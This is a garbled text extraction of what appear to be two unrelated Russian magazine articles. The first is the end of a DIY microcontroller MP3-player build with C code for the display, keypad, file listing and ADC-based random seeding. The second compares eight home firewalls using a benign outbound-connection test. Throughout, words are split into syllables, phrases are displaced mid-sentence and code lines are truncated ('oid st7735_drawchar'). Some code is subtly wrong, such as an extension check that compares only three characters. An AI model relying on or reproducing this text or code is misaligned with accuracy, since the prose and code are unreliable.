лицы  (без  бук вы  ё).  Это  упрости ло  передел ку  с  CP866 —  я  лишь  нем ного
перес тавил  сим волы  в  таб лицах,  поп равил  поиск  сим вола  и  добавил  игно‐ 
риро вание  кодов  с  сим волами  0xD0  и  0xD1  —  пре фик сов  кирил личес кой
стра ницы.

st7735_128x160.c

oid st7735_drawchar(unsigned char x,unsigned char y,char chr,
                   uint16_t color, uint16_t bg_color){
 ...
 // Добавлена поддержка кириллицы UTF‐8
 unsigned char c=(chr<0xe0) ? chr ‐ 0x20 : chr ‐ 0x50;
 ...

}

void st7735_string_at(unsigned char x,unsigned char y,
                     unsigned char *chr, uint16_t color,
                     uint16_t bg_color){
 ...
 while(*chr){

#ifdef UTF8ASCII
   if(*chr==0xd0||*chr==0xd1) chr++;
#endif
 }
 ...

}

void st7735_sendchar(char ch){
#ifdef UTF8ASCII
 if(ch==0xd0||ch==0xd1) return; // Игнорировать префиксы

#endif
 ...

}

Та ким обра зом, коды до 0x7F вос при нима ются как ASCII, а про чие — как сим‐ 
волы  кирил личес кой  стра ницы.  Решение,  конеч но,  не  уни вер саль ное,  и  при
встре че  с  бук вой  ё  мы  уви дим  арте фак ты,  зато  это  про ще  все го  поз волит
обес печить сов мести мость с локалью на дес кто пе.

Ри совать прог ресс‐бар тоже для прос тоты будем тек сто выми сим волами.

void st7735_progress_bar(uint8_t y,uint8_t value,
                        uint16_t color,uint16_t bgcolor){
 // Выглядит это так: =====>‐‐‐‐‐‐‐
 char bar[27];
 uint8_t i, count=value*26/256;
 for(i=0;i<count;i++)bar[i]='=';
 bar[count]='>';
 for(i=count+1;i<26;i++)bar[i]='‐';
 bar[26]=0;
 st7735_string_at(0,y,bar,color,bgcolor);

}

По мимо это го, в биб лиоте ку   я добавил фун кцию вывода с фор‐ 
матиро вани ем на задан ную стро ку, так про ще отри совы вать интерфейс.

stprintf.c

int stprintf_at(uint8_t x, uint8_t y,uint16_t color,
               uint16_t bgcolor, uint8_t size,
               const char *format, ...){
 va_list arg;
 char buffer[128];
 SPRINTF_buffer=buffer;
 va_start(arg, format);
 stprintf_((&putc_strg), format, arg);
 va_end(arg);
 *SPRINTF_buffer ='\0';
 if(size==1)
   st7735_string_at(x,y,buffer,color,bgcolor);
 else if(size==2)
   st7735_string_x2_at(x,y,buffer,color,bgcolor);
 else if(size==3)
   st7735_string_x2_at(x,y,buffer,color,bgcolor);
 return 0;

}

Эк ран  раз делен  на  три  час ти.  Пер вая  часть —  вер хние  14  тек сто вых  строк,
исполь зует ся для вывода сооб щений (наз вание текуще го тре ка, ошиб ки и так
далее).  Вто рая  часть —  15‐я  стро ка,  где  рас положен  прог ресс‐бар,  и  пос‐ 
ледняя, 16‐я стро ка с информа цией о текущем тре ке.

В ниж ней стро ке выводят ся сле дующие дан ные: «Кбайт про чита но / все го
Кбайт,  вре мя  от  начала  тре ка,  режим,  номер  тре ка,  все го  тре ков».  В  коде
это выг лядит вот так:

// Глобальные переменные
uint8_t zanuda_mode=0, rand_mode=0;
char mode[3]="  ";

...
cnt++;
if(cnt>bitrate){
 //report
 cnt=0;
 dt = vs_read_sci(SCI_DECODE_TIME); // Время воспроизведения
 hdat0=vs_read_sci(SCI_HDAT0);
 bitrate=(hdat0>>12)&0xF;
 min=dt/60;
 sec=dt%60;
 bar=255*pos/fsize;
 if(zanuda_mode) st7735_progress_bar(112,bar,GREEN,BLACK);
 else st7735_progress_bar(112,bar,MAGENTA,BLACK);
 if(zanuda_mode) mode[1]='Z';
 else mode[1]=' ';
 if(rand_mode) mode[0]='R';
 else mode[0]='S';
 stprintf_at(0, 120,RED,BLACK,1, "%4d/%dK %d:%02d %s %d/%d",
             pos/1024,fsize/1024, min, sec, mode, track,
             files_count);
 ...

}

Пос ле отри сов ки интерфей са идет обра бот чик кла виату ры, сама кла виату ра
соб рана на сдви говом регис тре 74HC165D и работа ет ана логич но кла виату‐ 
ре  телефо на  из  прош лой  статьи. Опрос  регис тра  выпол няет ся  при  помощи
прог рам мной эму ляции про токо ла SPI. Тут уж никаких тон костей нет.

uint8_t read_key(void){
 uint8_t data,cnt=0;
 gpio_clear(HC165_PORT, HC165_CS); // Включить тактирование
 gpio_clear(HC165_PORT, HC165_PL); // Записать значение в сдвиговый 

регистр
 gpio_set(HC165_PORT, HC165_PL);
 for(uint8_t i=0;i<8;i++){
   data<<=1;
   if(gpio_get(HC165_PORT, HC165_Q7)) data|=1;
   gpio_set(HC165_PORT,HC165_CLK);
   gpio_clear(HC165_PORT,HC165_CLK);
 }
 gpio_set(HC165_PORT,HC165_CS);
 data=~data;
 return data;

}

Об работ чик  нажатий  кла виату ры  счи тыва ет  сос тояние  кла виату ры  из  регис‐ 
тра и, в зависи мос ти от получен ного зна чения, выпол няет необ ходимое дей‐ 
ствие.  На  дан ный  момент  реали зова ны  сле дующие  фун кции:  тише/гром че,
сле дующий  трек  /  пре дыду щий  трек,  пауза,  ран домное  вос про изве дение  /
пос ледова тель ное  вос про изве дение,  вос про изве дение  текуще го  тре ка
(  :) ).zanuda_mode

Пос коль ку  обра бот чик  кла виату ры  находит ся  внут ри  фун кции 
  а  трек  выбира ется  внут ри  цик ла  фун кции  ,  воз ника ет

необ ходимость передать коман ду в цикл фун кции  . Это мож но сде лать
с помощью воз вра щаемых фун кци ей   зна чений:

,play_file() main()
main()

play_file()
 — сле дующий трек или сле дующий ран домный трек;• 0

 — сле дующий трек;• 2

 — пре дыду щий трек.• 1

Продолжение статьи →

http://elm-chan.org/fsw/ff/00index_e.html
https://eax.me/stm32-fatfs/


MP3-ПЛЕЕР

СВОИМИ РУКАМИ
КАК СОБРАТЬ И ЗАПРОГРАММИРОВАТЬ

ГАДЖЕТ У СЕБЯ ДОМА

ТРЮКИ  НАЧАЛО СТАТЬИ←

ПОСЛЕДОВАТЕЛЬНОСТЬ ТРЕКОВ
Опи сан ная выше фун кция   тре бует на вход пол ный путь к фай лу.
Опе риро вать с име нами фай лов не очень удоб но, кро ме того, на это может
пот ребовать ся зна читель ный объ ем памяти. Поэто му разум но прис воить им
какие‐то номера.

play_file()

По лучить  име на фай лов  в  катало ге  поз воля ет фун кция 
  биб лиоте ки  FatFs.  Эта  фук нция  чита ет  дирек торию,  записы вая

в струк туру   информа цию о фай ле. Ее поле   и есть имя фай ла.
Исполь зуя  ее,  мы  можем,  нап ример,  вывес ти  спи сок  фай лов  и  под дирек‐ 
торий в дирек тории.

f_readdir(&dir, 
&fileInfo)

fileInfo fname

uint8_t ls(char *path){
 DIR dir;
 FILINFO fileInfo;
 if(f_opendir(&dir, path)) return 1;

 stprintf("\a%s\r\n",path);
 for(;;){
   if(f_readdir(&dir, &fileInfo)) return 2;
   if(fileInfo.fname[0] == 0) break;
   if(fileInfo.fattrib & AM_DIR) stprintf("+DIR  %s\r\n", fileInfo.
fname);
   else stprintf("+ %s\r\n", fileInfo.fname);
 }
 return 0;

}

Это  нуж но  ско рее  для  отладки.  А  вот  для  нашей  цели  пот ребу ется фун кция
,  которая опре деля ет,  дей стви тель но  ли  у фай ла рас ширение  .

В слу чае успе ха она воз вра щает ноль.
is_mp3() MP3

Те перь  мы  можем  лег ко  сос читать  MP3‐фай лы  в  дирек тории  и  получить
имя фай ла номер N (фун кции   и  ).cnt_mp3_in_dir() get_name_mp3()

uint8_t ismp3(char *name){
 uint16_t len;
 len = strlen(name);
 if(!strncmp(name+len‐4,".mp3",3)) return 0;
 else return 1;

}

uint16_t cnt_mp3_in_dir(char *path){
 DIR dir;
 FILINFO fileInfo;
 uint16_t count=0;
 if(f_opendir(&dir, path)) return 1;

 //stprintf("\a%s\r\n",path);
 for(;;){
   if (f_readdir(&dir, &fileInfo)) return 2;
   if(fileInfo.fname[0] == 0) break;
   if(!(fileInfo.fattrib & AM_DIR)) 
   if(!ismp3(fileInfo.fname)) count++;
 }
 return count;

}

uint8_t get_name_mp3(char *path, uint16_t n, char *name){
 DIR dir;
 FILINFO fileInfo;
 uint16_t count=0;
 if(f_opendir(&dir, path)) return 1;

 //stprintf("\a%s\r\n",path);
 while(count<n){
   if(f_readdir(&dir, &fileInfo)) return 2;
   if(fileInfo.fname[0] == 0) return 3;
   if(!(fileInfo.fattrib & AM_DIR))
     if(!ismp3(fileInfo.fname))
       count++;
 }
 strcpy(name,fileInfo.fname);
 return 0; 

}

Пи сать  отдель ную фун кцию для  про игры вания фай ла  по  номеру  неразум но,
луч ше сде лать обер тку над фун кци ей  .play_file()

uint8_t play_mp3_n(char *path, uint16_t n){
 char fname[257];
 uint8_t code=0;
 get_name_mp3("/",n,fname);
 code=play_file(fname);
 return code;

}

От дель ного  упо мина ния  зас лужива ет  слу чай ное  вос про изве дение.  Получе‐ 
ние псев дослу чай ных  чисел — это  вооб ще  ,  но  к  таким  вещам,
как MP3‐пле ер, она отно шения не име ет. Мы же прос то вос поль зуем ся фун‐ 
кци ей   из биб лиоте ки  , но ей для получе ния пос ледова тель‐ 
нос ти слу чай ных чисел нуж но передать одно слу чай ное чис ло. Для оди нако‐ 
вых сидов пос ледова тель ность всег да будет оди нако вой.

осо бая  тема

rand() stdlib.h

Где на мик рокон трол лере взять слу чай ное чис ло? Мож но взять зна чение
из счет чика часов реаль ного вре мени, а мож но счи тать сиг нал из АЦП. Пер‐ 
вый  вари ант,  на мой  взгляд,  луч ше,  но  часы  в  этом  про екте  пока  не  реали‐ 
зова ны. Поэто му оста ется читать сиг нал из АЦП.

Пос ледова тель ность  дей ствий  такая:  вклю чаем  АЦП  в  самом  быс тром
и неточ ном режиме и изме ряем потен циал на незадей ство ван ной нож ке кон‐ 
трол лера. К ней луч ше под соеди нить про вод ник неболь шой дли ны, что бы он
работал  антенной  и  ловил  навод ки.  Но  это  не  обя затель но,  мы  ведь  все го
лишь переме шива ем тре ки в пле ере.

За тем вык люча ем АЦП за ненадоб ностью, а получен ное зна чение переда‐ 
ем в фун кцию  , которая нас тро ит ГПСЧ.srand()

static uint16_t get_random(void){
 // Получение случайного числа из АЦП
 uint8_t channel=4;
 uint16_t adc=0;
 rcc_periph_clock_enable(RCC_GPIOA);
 /* Configure GPIOs:
  * sensor PA1
  */
 gpio_set_mode(GPIOA, GPIO_MODE_INPUT, GPIO_CNF_INPUT_ANALOG, GPIO4)

;
 rcc_periph_clock_enable(RCC_ADC1);
 rcc_set_adcpre(RCC_CFGR_ADCPRE_PCLK2_DIV2);
 /* Убеждаемся, что АЦП не работает во время настройки */
 adc_power_off(ADC1);
 /* Настраиваем */
 adc_disable_scan_mode(ADC1);
 adc_set_single_conversion_mode(ADC1);
 adc_disable_external_trigger_regular(ADC1);
 adc_set_right_aligned(ADC1);
 /* Мы будем читать датчик температуры, поэтому включаем его */
 //adc_enable_temperature_sensor();
 adc_set_sample_time_on_all_channels(ADC1, ADC_SMPR_SMP_1DOT5CYC);
 adc_power_on(ADC1);
 /* Ждем запуска АЦП */
 for(uint32_t i = 0; i < 800000; i++) __asm__("nop");
 //adc_reset_calibration(ADC1);
 //adc_calibrate(ADC1);

 adc_set_regular_sequence(ADC1, 1, &channel);
 adc_start_conversion_direct(ADC1);
 /* Ждем окончания преобразования */
 while(!(ADC_SR(ADC1) & ADC_SR_EOC));
 adc=ADC_DR(ADC1);
 adc_power_off(ADC1);
 rcc_periph_clock_disable(RCC_ADC1);
 return adc;

}

main(){
 ...
 init_random=get_random();
 stprintf("ADC random is %d\r\n",init_random);
 srand(init_random); // Инициализация ГПСЧ
 ...

}

ЗАКОНЧЕННОЕ УСТРОЙСТВО
Ког да  все  или  поч ти  все,  что  хотелось,  про тес тирова но  на  макете,  мож но
соб рать про тотип. Для это го были изго тов лены две печат ные пла ты.

Пла та дис плея

Пла та кодека

В прин ципе, все детали мож но было умес тить и на одной двух сто рон ней пла‐ 
те, но я поленил ся.

Да лее был соб ран дис плей ный модуль и испы тан на макете.

Мон таж дис плей ного модуля

Тест дис плей ного модуля

За тем была рас паяна пла та кодека и соеди нена с пла той дис плея.

Пле ер в разоб ранном виде сни зу

Пле ер в разоб ранном виде свер ху

Пле ер в полусоб ранном виде

И  в  завер шение  это  все  было  помеще но  в  кор пус  из  орг стек ла,  который
получил ся велико ват.

Зву чит  пле ер  впол не  при лич но,  но,  к  нес частью,  пот ребля ет  мно гова то
(поряд ка 60 мА). Впро чем, это не так страш но.

ЧТО СТОИТ ДОБАВИТЬ
В  будущем  я  пла нирую  добавить  под дер жку  ID3‐тегов,  рекур сивный  поиск
по фай ловой сис теме и под дер жку плей‐лис тов. Ну а ты теперь можешь соб‐ 
рать собс твен ный пле ер и при делать к нему все, что душе угод но!

WWW

•Ис ходный код про екта на GitHub

https://xakep.ru/2019/03/27/looking-for-entropy/
https://github.com/5881/mp3-player
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ТРЮКИ

Ка залось  бы,  выб рать  фай рвол  для  домаш него  компь юте‐ 
ра — дело нехит рое: наливай да пей  (то есть  уста нав ливай
да поль зуйся). Но фай рво лы быва ют раз ные, и выбор может
сто ить  уси лий  и  вре мени.  Сегод ня  мы  рас смот рим  восемь
фай рво лов  и  про верим  их  воз можнос ти  и  умол чатель ные
нас трой ки при помощи прос того фун кци ональ ного тес та.

На ибо лее  важ ные  фак торы  при  выборе  —  это  прос тота  и  дос тупность 
 наличие обу чающе го режима, ког да фай рвол 

зада ет  кучу  воп росов  при  попыт ках  вый ти  в  сеть  для  каж дого  ПО,  а  все
осталь ное  зап реща ет.  Еще,  пожалуй,  важ ны  наличие  рус ско го  язы ка 

 а так же допол нитель ные плюш ки.

настройки, дей ству ет на нер вы

и бесплатность,

ВЕСЕЛЫЕ СТАРТЫ
Изу чать мы будем сле дующие прог раммы: Comodo Firewall, Avast Internet Se‐
curity, AVG Internet Security, Outpost Firewall Pro, ZoneAlarm Free Firewall, Private‐
Firewall,  GlassWire  и  TinyWall.  Весь  этот  софт  позици они рует ся  раз работ‐ 
чиками  как  средс тва  защиты  для  домаш них  компь юте ров,  поэто му  мы
не будем залезать в деб ри нас тро ек и срав нивать эти прог раммы по фун кци‐ 
ям и раз личным модулям. Луч ше пос мотреть на них гла зами прос того юзе ра,
которо му все эти высокие тех нологии до фонаря.

Обыч ный  поль зователь  отли чает ся  от  прод винуто го 
  чис то  ути литар ным  под ходом  к  соф ту:  нажали

«Уста новить»  и  верим  в  чудо  авто мати зации,  которое  спа сет  и  защитит
от  злых  дядек  с  их  скрип тами  и  тро яна ми.  А  как  там  оно  устро ено  внут ри,
боль шинс тву совер шенно не важ но.

ко личес твом  оле ней
на  сви тере  и  дли ной  бороды

По это му усло вия экспе римен та решили мак сималь но упростить. Мы уста‐ 
новим  каж дый  из  фай рво лов  на  чис тую  ОС  Windows  10  x64  и  поп робу ем
запус тить  одну  тул зу,  которая  начина ет  ломить ся  на  внеш ний  сер вер,  ими‐ 
тируя  подоз ритель ную  сетевую  активность.  Затем  мы  вклю чим  режим  обу‐ 
чения и пов торим тест сно ва. Наконец, на треть ем эта пе мы нас тро им фай‐ 
рвол на осно ве белого спис ка, зап ретив все, что явно не раз решено.

INFO

Ис поль зуемая  в  статье  тул за  для  тес тирова ния
взя та с сай та  .2ip.ru

Ну и не будем забывать про важ ные для нас кри терии: сто имость лицен зии,
язык интерфей са и прос тоту нас трой ки и уста нов ки. А получен ные резуль таты
мы потом срав ним.

COMODO FIREWALL
 • Офи циаль ный сайт: comodo.com

  Windows  XP  SP2,  Vista,  7,  8,  10,  152  Мбайт
RAM, 400 Мбайт на дис ке

• Сис темные  тре бова ния:

 есть бес плат ная вер сия и Pro• Ли цен зия:

 бес плат но или 39,99 дол лара за Pro• Сто имость:

 рус ский• Язык интерфей са:

Эта прог рамма получи ла широкую извес тность еще в эпо ху Windows XP, ког да
Comodo Firewall был едва ли не самым рас простра нен ным бес плат ным фай‐ 
рво лом в Рос сии. Поль зует ся он популяр ностью и сей час. Что,  в общем‐то,
неуди витель но: раз работ чики обе щают нам про активную защиту с HIPS, меж‐ 
сетевое  экра ниро вание,  защиту  от  перепол нения  буфера  и  несан кци они‐ 
рован ного дос тупа, защиту реес тра и сис темных фай лов, а так же дру гие вкус‐ 
ные плюш ки.

Од нако во вре мя уста нов ки фай рвол выз вал сме шан ные чувс тва. Сна чала
пред лагал пос тавить рас ширения для Яндекс.Бра узе ра.

Пос тавим рас ширения от Яндекса?

А  потом,  если  не  обра тить  вни мание  на  «ком понен ты»  и  не  вык лючить  все
ненуж ное, уста нов щик инстал лиру ет на твой комп свой бра узер.

От клю чение ненуж ных ком понен тов

За были отклю чить ненуж ный ком понент? Получи те, рас пишитесь

Де лаем пер вый тест, и Comodo про пус кает нашу тул зу.

Пер вый тест Comodo Firewall

Вклю чили  режим  обу чения  в  нас трой ках  —  и  фай рвол  почему‐то  никак
не  про реаги ровал  на  нашу  тес товую  прог рамму,  которая  успешно  под клю‐ 
чилась к уда лен ному компь юте ру.

Вто рой тест Comodo Firewall

Толь ко пос ле сос тавле ния белого спис ка тул зу наконец уда лось заб локиро‐ 
вать. Вывод нап рашива ется про тиво речи вый: Comodo Firewall — очень извес‐ 
тный  фай рвол,  но  уста нов ка  ненуж ного  соф та  пор тит  все  впе чат ление.
А  резуль таты  тес та  ока зались  печаль ными:  для  обес печения  безопас ности
прог рамме тре бует ся осно ватель ная нас трой ка.

AVAST PREMIUM SECURITY
 • Офи циаль ный сайт: avast.com/f‐firewall

  Windows  XP  SP3,  Vista,  7,  8,  8.1,  10,  256+
Мбайт ОЗУ и 1,5 Гбайт на дис ке

• Сис темные  тре бова ния:

 проб ный пери од на 30 дней• Ли цен зия:

  1450  руб лей  за  год,  есть  раз личные  акции.  При  покуп ке
на два или три года цена ниже

• Сто имость:

 рус ский• Язык интерфей са:

Кто‐нибудь  не  слы шал  про  ком панию Avast  Sofware? Все  про  нее  слы шали.
Одна ко,  помимо  извес тно го  анти виру са,  Avast  выпус кает  еще  и  фай рвол,
который вхо дит в плат ный набор прог рамм Avast Premium Security (рань ше он
называл ся  Avast  Internet  Security,  но  его  пере име нова ли  —  видимо,  что бы
избе жать  путани цы  с  прог раммой,  которую мы рас смот рим  сле дующей).  То
есть отдель но  заг рузить и  уста новить фай рвол не получит ся:  он идет  в  наг‐ 
рузку  к  анти виру су,  антиспам‐модулю,  модулю  защиты  бес про вод ных  сетей
и набору про чих фишек, плат ная лицен зия которо го сто ит 1450 руб лей в год
на один ПК.

При  уста нов ке  пакета  нам  пред лага ют  пос тавить  еще  и  Google  Chrome,
но от него хотя бы мож но без болез ненно отка зать ся.

Ус танов ка Avast Internet Security

Сра зу  пос ле  инстал ляции  чуда  не  про изош ло:  тул за  успешно  пре одо лела
фай рвол и уста нови ла соеди нение с уда лен ным сер вером.

Пер вый тест Avast Internet Security

Пос ле  вклю чения  прак тичес ки  всех  воз можных  нас тро ек  и  парамет ров
защиты ничего осо бо не поменя лось. Толь ко зас тавив фай рвол парано идаль‐ 
но спра шивать меня, как реаги ровать на каж дый чих работа юще го на ком пе
соф та, я наконец получил ожи даемый резуль тат.

Зап рос раз решения

Нас трой ки фай рво ла раз бро саны по раз ным меню,  из‐за  чего  най ти  с  пер‐ 
вого раза то, что нуж но, очень неп росто. В ком плек те пос тавки Avast Premium
Security име ется огромное количес тво допол нитель ных тулз для ана лиза дис‐ 
ка, реес тра, эвристи ки, поис ка вирусов. Весь этот софт невоз можно уда лить,
что бы оста вить толь ко один бран дма уэр. Кро ме того, проб ная вер сия про дук‐ 
та пос тоян но про сит обно вить ся до вер сии Pro и зап латить денег.

AVG INTERNET SECURITY
 • Офи циаль ный сайт: avg.com

 Windows XP SP3, Vista, 7, 8, 8.1, 10• Сис темные тре бова ния:

 проб ный пери од на 30 дней• Ли цен зия:

 1990 руб лей за год• Сто имость:

 рус ский• Язык интерфей са:

Бес плат ный  анти вирус  AVG  так же  зна ком  мно гим,  прав да  о  его  эффектив‐ 
ности сущес тву ют раз ные мне ния. Фай рвол (или, как его называ ют раз работ‐ 
чики, «уси лен ный бран дма уэр») тоже не пред лага ется в качес тве отдель ного
про дук та,  а  идет  в  ком плек те  пос тавки  AVG  Internet  Security,  куда  вхо дит
еще  целая  куча  раз ных  ути лит,  вклю чая  анти вирус.  Бес плат ной  вер сии  нет,
но  есть  воз можность  ска чать  три ал  и  про тес тировать  соф тину  в  течение
месяца.

При меча тель но,  что  анти вирус  AVG  не  так  дав но  был  куп лен  ком пани ей
Avast  Sofware,  но  тем  не  менее  про дол жает  сущес тво вать  в  роли  самос‐ 
тоятель ного про дук та. Что ж, давай пос мотрим, есть ли в нем какие‐то сущес‐ 
твен ные отли чия от «материн ско го» про екта.

Ус танов ка AVG начина ется с узна ваемо го окош ка инстал лера.

Ус танов ка AVG

При пер вом запус ке мы видим уже зна комую кар тинку.

Пер вый тест AVG Internet Security

Мож но  сме ло  ска зать,  что  AVG  про демонс три ровал  все  то  же  самое,  что
и  Avast.  И  в  точ ности  так  же  сумел  рас познать  и  заб локиро вать  нашу  «вре‐ 
донос ную» тул зу толь ко пос ле при нуди тель ного вклю чения парано идаль ного
режима.

Кон фигура ция AVG Internet Security

По резуль татам  тес та я при шел  к  выводу,  что AVG  Internet Security — это по
боль шому сче ту Avast Premium Security,    толь ко под дру гой
вывес кой. Если тебе нужен один фай рвол, без анти виру са, антиспа ма и про‐ 
чих свис телок, навер ное, сто ит поис кать дру гое решение.

толь ко в про филь

OUTPOST FIREWALL PRO
 отсутс тву ет• Офи циаль ный сайт:

  Windows  XP,  Vista,  2003  Server,  2008  Server,
2012 Server, 7, 8, 8.1, 10

• Сис темные  тре бова ния:

 проб ный пери од 30 дней• Ли цен зия:

 бес ценно• Сто имость:

 рус ский• Язык интерфей са:

В  декаб ре  2015  года  Яндекс  купил  тех нологию  Agnitum,  и  ком пания  прек‐ 
ратила выпус кать и под держи вать Outpost Firewall. Но его все еще мож но най‐ 
ти в интерне те. Есть так же бес плат ная вер сия, но она, как обыч но, уре зана.

Ус танов ка  прог раммы  типич на,  но  при  этом  она  хотя  бы  не  пред лага ет
в  наг рузку  тон ну  допол нитель ного  ПО.  Пос ле  завер шения  инстал ляции 

  Firewall  Pro  про сит  перезаг рузить  компь ютер. Сог лаша емся и  сра зу
же запус каем нашу тул зу.
Outpost

Пер вый тест Outpost Firewall Pro

Нес мотря  на  то  что  Outpost  Firewall  боль ше  не  под держи вает ся,  со  сво ей
основной фун кци ей он справ ляет ся на отлично даже с нас трой ками по умол‐ 
чанию. А для любите лей покопать ся в режимах работы прог раммы есть нас‐ 
трой ки пра вил и воз можность вклю чать‐отклю чать про чие фун кции.

Нас трой ки фай рво ла

Прог рамме  ста вим  однознач ный  лайк,  жаль  толь ко,  что  пос ледняя  плат ная
вер сия  боль ше  не  под держи вает ся,  поэто му  денег  за  нее  занес ти  боль ше
некому (а Яндекс их брать, судя по все му, не хочет). Обновле ний тоже ждать
не при ходит ся. Печаль.

Продолжение статьи →

mailto:3em0nd@gmail.com
https://2ip.ru/firewalltest/
https://www.comodo.com/
https://www.avast.com/f-firewall
https://www.avg.com/


ВЫБИРАЕМ ФАЙРВОЛ
ПРОВЕРЯЕМ ВОСЕМЬ ДОМАШНИХ

ФАЙРВОЛОВ НА СТРОГОСТЬ

ТРЮКИ  НАЧАЛО СТАТЬИ←

ZONEALARM FREE FIREWALL
 • Офи циаль ный сайт: zonealarm.com

 Windows XP, Vista, 7, 8, 10• Сис темные тре бова ния:

 Free и Pro• Ли цен зия:

 бес плат но или 40 дол ларов в год• Сто имость:

 англий ский• Язык интерфей са:

Ком пания ZoneAlarm не так широко извес тна, как Avast и AVG, но тоже балу‐ 
ется раз работ кой анти виру сов — в сво бод ное от соз дания бес плат ного фай‐ 
рво ла  вре мя.  ZoneAlarm  Firewall  име ет  как  бес плат ную,  так  и  ком мерчес кую
вер сию.  Пос ледняя  отли чает ся  рас ширен ными  нас трой ками,  воз можностью
вклю чать‐отклю чать  ком понен ты,  добав лять  слож ные  пра вила  филь тра ции
тра фика и отсутс тви ем назой ливой рек ламы. Все осталь ные фун кции про дук‐ 
тов, по заяв лени ям раз работ чиков, иден тичны.

Пос ле  уста нов ки  и  запус ка  фай рво ла  ZoneAlarm  про пус тил  наше  соеди‐ 
нение.

Пер вый тест ZoneAlarm Free Firewall

Пос мотрим, как он себя поведет пос ле неболь шой подс трой ки.

Вто рой тест ZoneAlarm Free Firewall

Увы,  но  с  помощью  перек лючения  пол зунков  и  изме нения  режимов  работы
прог раммы  тул зу  так  и  не  получи лось  заб локиро вать.  Толь ко  пос ле  явной
бло киров ки  это  окон чатель но  уда лось.  Любопыт но,  что,  ког да  я  копал ся
в нас трой ках, ZoneAlarm выдал вот такое окно зап роса раз решения.

Ре жим обу чения ZoneAlarm Free Firewall

На скрин шоте вид но,  что  у  это го фай рво ла,  помимо стан дар тных вари антов
«раз решить», «зап ретить» и «обу чение», есть еще один инте рес ный режим —
kill, который вооб ще не дает запус тить ся при ложе нию.

Ре жим kill ZoneAlarm Free Firewall

Од на  проб лема:  нуж но  понимать,  что  бло киру ешь.  Прос той  юзер  может
по нез нанию при бить нуж ную прог рамму, из‐за чего у него обя затель но отва‐ 
лит ся какой‐нибудь важ ный банк‐кли ент.

PRIVATEFIREWALL
 • Офи циаль ный сайт: privacyware.com

 Windows XP, Vista, 7, 8, 8.1, 10• Сис темные тре бова ния:

 Freeware• Ли цен зия:

 бес плат но• Сто имость:

 англий ский• Язык интерфей са:

Ком пания  Privacyware  спе циали зиру ется  в  основном  на  раз работ ке  соф та
для защиты веб‐сер веров, поэто му фай рвол для нее, похоже, побоч ный про‐ 
дукт  жиз неде ятель нос ти.  Воз можно,  поэто му  PrivateFirewall  раз работ чиком
боль ше не под держи вает ся, и ска чать про дукт с офи циаль ного сай та сей час
не вый дет. Зато его до сих пор мож но най ти на   незави симых
ресур сах — прав да, пос ледняя акту аль ная вер сия датиру ется аж 2013 годом.

фай лопомой ках

Пос ле неп родол житель ной уста нов ки сра зу в бой.

Пер вый тест PrivateFirewall

Жаль, но пер вый блин вышел комом — наш нехит рый тест ока зал ся про вален.
Про буем еще раз пос ле вклю чения обу чающе го режима.

Вто рой тест PrivateFirewall

На  этот  раз  фай рвол  справ ляет ся  с  задачей:  появ ляет ся  окно  с  кноп ками,
поз воля ющи ми заб локиро вать обна ружен ную угро зу. Тре тий тест в «парано‐ 
идаль ном» режиме прог рамма так же про ходит успешно, что неуди витель но.

Тре тий тест PrivateFirewall

У  PrivateFirewall  очень  прос той  интерфейс,  и  даже  без  зна ний  англий ско го
мож но лег ко в нем разоб рать ся.

GLASSWIRE
 • Офи циаль ный сайт: glasswire.com

 Microsoft Windows 7, 8, 10 (x86,x64), Intel Core 2
Duo or Faster Processor, 4 Гбайт RAM. Минималь ные еще ниже

• Сис темные тре бова ния:

 Shareware• Ли цен зия:

 проб ный пери од семь дней, потом 39 дол ларов• Сто имость:

 рус ский• Язык интерфей са:

В отли чие от пре дыду щих ком паний‐раз работ чиков, для GlassWire фай рвол —
это  базовый  про дукт,  что,  веро ятно,  дол жно  положи тель но  ска зать ся
на  качес тве  его  работы.  При меча тель но,  что  у  GlassWire’s  Firewall  есть
как «нас толь ная», так и мобиль ная вер сия, но мы будем рас смат ривать толь‐ 
ко пер вую.

Ус танов ка прог раммы прос тая и впол не типич ная. По ее завер шении при‐ 
ложе ние  покажет  нам  кра сивый  гра фик  нашей  сетевой  активнос ти.  Одна ко
кра сота  важ на  преж де  все го  для    про изве дений 

 а нас в пер вую оче редь инте ресу ют фун кци ональ ные воз можнос ти
фай рво ла. Запус каем нашу ути лит ку.

де вушек  с  пор нохаба
искусства,

Пер вый тест PrivateFirewall

Нес мотря на то что тул за успешно соеди нилась с уда лен ным сер вером, фай‐ 
рвол  отоб разил  новый  про цесс.  Мы  можем  его  про игно риро вать,  и  он
попадет в спи сок доверен ных, а можем сра зу заб локиро вать. Выс тавив более
жес ткие нас трой ки полити ки раз решений, мы видим, что наш про цесс сра зу
вызыва ет подоз рения фай рво ла и успешно бло киру ется.

Вто рой тест PrivateFirewall

Эта прог рамма пон равилась мне боль ше дру гих, единс твен ный ее серь езный
недос таток  —  плат ная  лицен зия,  самая  бюд жетная  вер сия  которой  сто‐ 
ит 39 дол ларов. Зато смот реть на бегущий гра фик сетевой активнос ти мож но
бес конеч но.

TINYWALL
 • Офи циаль ный сайт: tinywall.pados.hu

 Microsoft Windows 7, 8, 10 (x86, x64), Intel Core
2 Duo or Faster Processor, 4 Гбайт RAM. Минималь ные еще ниже

• Сис темные тре бова ния:

 Freeware• Ли цен зия:

 бес плат но• Сто имость:

 рус ский• Язык интерфей са:

Эта  неболь шая  бес плат ная  ути лита  —  резуль тат  тру дов  вен гер ско го  раз‐ 
работ чика Кароя Падоша (Károly Pados). Фай рвол инте ресен тем, что работа‐ 
ет он из трея — нес коль ко неп ривыч но. Но при этом уже при про веде нии пер‐ 
вого тес та он рвет ся с мес та в карь ер и не дает про бить ся в сеть нашей тул‐ 
зе.

Пер вый тест TinyWall

Са мое  забав ное,  что  при  вклю чении  обу чающе го  режима фай рвол  про пус‐ 
кает весь тра фик и, по идее, дол жен на осно вании диало гов или внут ренне го
механиз ма решать, что делать с запущен ными про цес сами. В дан ном слу чае
выбор ока зал ся неверен.

Вто рой тест TinyWall

Од нако при сос тавле нии белого спис ка TinyWall ожи даемо спра вил ся с пос‐ 
тавлен ной задачей.

Тре тий тест TinyWall

Вы воды: перед нами очень ком пак тный и «облегчен ный» фай рвол с неболь‐ 
шим количес твом нас тро ек. Одна ко этой самой нас трой ки он все рав но тре‐ 
бует: в вари анте из короб ки прог рамма мышей не ловит.

ИТОГОВЫЕ РЕЗУЛЬТАТЫ
Све дем наши резуль таты в одну таб личку.

Ес ли  смот реть  на  выбор  фай рво ла  гла зами  обыч ного  поль зовате ля,  то
